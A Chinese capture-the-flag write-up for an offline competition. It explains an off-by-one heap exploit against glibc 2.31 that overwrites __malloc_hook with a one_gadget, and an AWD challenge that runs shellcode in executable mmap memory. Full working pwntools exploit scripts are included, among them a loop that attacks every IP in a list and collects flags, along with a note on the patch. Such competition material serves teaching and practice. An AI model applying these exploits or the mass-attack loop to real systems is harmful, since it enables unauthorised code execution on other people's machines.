前言
菜鸡第一次打线下赛,一天解题一天awd,一共四个pwn,解题赛的pwn2到最后都只有一个师傅搞定(凌霄的师傅tql),本菜鸡只出了两个题,不过还好现场awd不是很激烈,只靠一个也勉强活了下来。本文简单记录一下解题的pwn1和awd的水pwn。
pwn1
解题赛一共两个pwn题,还好队伍里其他大佬c我。
漏洞点
pwn1就是一道朴实无华的堆题,2.31的libc,在申请堆块输入内容的时候存在off by one。
for ( i = 0; i <= size; ++i )
{
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*(_BYTE *)(a1 + i) = buf;
}
只能申请特定size的堆块 ,0x68和0xe8,并且使用calloc()申请堆块,并且限制了只能同时控制三个堆块,这一点限制了很多操作。
nmemb = 0;
get_input();
if ( nmemb_4 == 1 )
{
nmemb = 0x68;
}
else if ( nmemb_4 == 2 )
{
nmemb = 0xE8;
}
addr = calloc(nmemb, 1uLL);
思路
审计漏洞点,发现可申请的chunk大小只有0x71,0xf1,0x21。所以可以想到用0xf1的unsorted bin泄露地址,利用0x71的chunk进行fastbin attack。
首先将0xf1的tcache打满,因为calloc不会从tcache中取chunk,所以直接循环就可以将tcache打满。
然后再次申请一个0xf1的chunk0,用来释放进入unsorted bin,同时再申请一个0x71的chunk1,同时在chunk1中伪造一个堆头,用来满足下一步从unsorted bin中切出chunk后溢出修改size后的检测。
查看此时内存。
然后从unsorted bin中切出一个0x71大小的chunk0,同时溢出修改剩余unsorted bin的size为0xb1,这里size可以是任意值,只要可以覆盖相邻的chunk1,并且在chunk1中伪造好堆头。
所以现在有一个问题是如何将 main_arena
泄露出来,从chunk1的fd到当前 main_arena
的偏移为 0xa20-0x9a0 = 0x80
,然而正常情况下,我们只能申请0xf1和0x71大小的堆块,但是如果申请的时候给一个非法选项的size,就会calloc(0)得到一个0x21的堆块,所以如果calloc(0)执行四次,就刚好将 main_arena
推到了chunk1的fd位置,show(1)即可泄露地址。
成功泄露地址之后,利用0x71的chunk进行fastbin attack。这里主要的困难是只能同时控制三个堆块。
从上一张图中能看到,chunk1的size被改为了0x31,chunk0是用来修改unsorted bin的size的0x71大小的chunk。
这部分最难受的就是同时只有三个堆块,被这个卡了很久。
跟泄露地址差不多的思路,此时堆布局为:
chunk0 0xf1
chunk1 0x71
chunk2 0xf1
将chunk0和chunk1释放,分别进入unsorted bin和fastbin,然后将fastbin中的chunk申请回来,同时将chunk2的presize改为0xf0,size改为0xf0。
然后在unsorted bin中申请0x71的chunk,同时溢出一字节修改size为0xf1。
就可以将overlap的chunk释放到fastbin中。然后通过申请0xf1的chunk时写入,覆盖fastbin的fd指针为 malloc_hook-0x33
,当前内存布局如下。
查看fastbin。
这个时候的主要问题就是三个指针都用掉了,要清出两个指针进行fastbin attack,并且释放不能进入0x71的fastbin。
然后就是将malloc_hook盖为one_gadget。
使用第一个one_gaget,调试发现,执行到one_gadget时,r15 = 0 , r12 = size。
所以,calloc(0)即满足条件。
exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
def dbg(addr):
sh.attach(sh,'b *0x{}\nc\n'.format(addr))
def add(ch,c='a'):
sla('choice:','1')
sla('Large.',str(ch))
sla('Content:',c)
def delete(idx):
sla('choice:','2')
sla('Index:',str(idx))
def show(idx):
sla('choice:','3')
sla('Index:',str(idx))
# add size 1->0x68 2->0xe8 else 0x21
sh = process('./note')
#sh = remote('10.12.153.11',58011)
libc = ELF('/opt/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
for i in range(7):#calloc(0xe8) fill tcache
add(2)
delete(0)
add(2,'\x00'*0x80)#0
add(1,'a'*0x20+p64(0xb0)+p64(0x70-0x30))#1 fake pre_sz & sz
delete(0)#ustbin
add(1,'\x00'*0x68+p64(0xb1))#0 off by one
for i in range(4):
add(0)
delete(2)
show(1)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-(0x7efc8cb1dbe0-0x7efc8c932000)
print hex(libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
delete(0)
for i in range(6):
add(1)
delete(0)
add(2)#0
delete(1)#0x30 tcache
add(1,'a'*0x60+p64(0xf0))#1
add(2)#2
delete(0)#unsorted bin
delete(1)# 0x71 fastbin
add(1,'a'*0x60+p64(0xf0)+p64(0xf0))#0 fake size
add(1,'\x00'*0x68+p64(0xf1))#1
delete(0)
add(2,'\x00'*0x70+p64(0)+p64(0x70)+p64(malloc_hook-0x33)+'\x00'*(0xe8-0x88)+p64(0X51))#0
delete(2)
delete(1)
add(1,'a'*0x68+p64(0x81))
delete(0)
add(1)
add(1,'a'*0x23+p64(libc_base+0xe6c7e))
delete(0)
sla('choice:','1')
#gdb.attach(sh)
sla('Large.',str(3))
ti()
pwn1_awd
比较简单的一题,不过awd阶段靠这题还拿了不少分,挺离谱的。
漏洞点
有一丢丢逆向pwn的意思,不过逻辑很简洁。
输入格式
op : choice 选操作
+ :off 输入偏移
n : size 输入长度
操作2和3都是先调用mmap开辟一块内存空间,然后以off为偏移,size为大小写入内容。
具有可执行权限。
unsigned __int64 sub_400A65()
{
unsigned int v0; // eax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !mmap_addr )
{
v0 = getpagesize();
mmap_addr = (int)mmap((void *)0x1000, v0, 7, 34, 0, 0LL);
}
return __readfsqword(0x28u) ^ v2;
}
选项1判断开辟的内存空间内容是否为0xdeadbeef
,是则getshell。
但是当时就很奇怪,这个shell读不了根目录下的flag文件,可能跟权限有关系。
unsigned __int64 sub_400AD4()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("ready?");
mmap_to_write();
if ( *(_DWORD *)mmap_addr == 0xDEADBEEF )
system("/bin/sh");
puts("oh?");
return __readfsqword(0x28u) ^ v1;
}
选项4就很直白。
unsigned __int64 sub_400C92()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
mmap_to_write();
puts("ready?");
mmap_addr("ready?")//执行shellcode
return __readfsqword(0x28u) ^ v1;
}
修复
一个是mmap出的内存空间不可执行。 再将后门patch掉,不过后门不修应该也没关系,反正读不到flag。
mmap_addr = (__int64 (__fastcall *)(_QWORD))(int)mmap((void *)0x1000, v0, 6, 34, 0, 0LL);
exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
context.arch = 'amd64'
shellcode = shellcraft.open('flag.txt')
shellcode += shellcraft.read('rax','rsp',0x60)
shellcode += shellcraft.write(1,'rsp',0x60)
payload = asm(shellcode)
#sh = remote('10.12.153.18',9999)
def write_shell():
return 'op:2\n+:0\nn:400\n\n'
def run():
return 'op:4\n\n'
#gdb.attach(sh)
def pwn():
sla('code> ',write_shell())
sa('ready?',payload)
sla('code> ',run())
#run_shell(sh,'./backdoor')
with open('ip.txt','r') as f:
ips = f.readlines()
print ips
f = open('flag_2.txt','w+')
for i in ips:
ip= i.strip('\r\n')
print ip
sh = remote(ip,9999)
try:
pwn()
flag = ru('}')[-38:]
f.write(flag+'\n')
print '__flag__:'+flag
except:
print 'error'
f.close()
总结
解题赛被pwn2支配了大半天,结果还是没什么进展,?太菜了。听说现场的唯一解是ha1vk,大佬tql。awd就把pwn2洞修了然后也没再看,被web佬c了。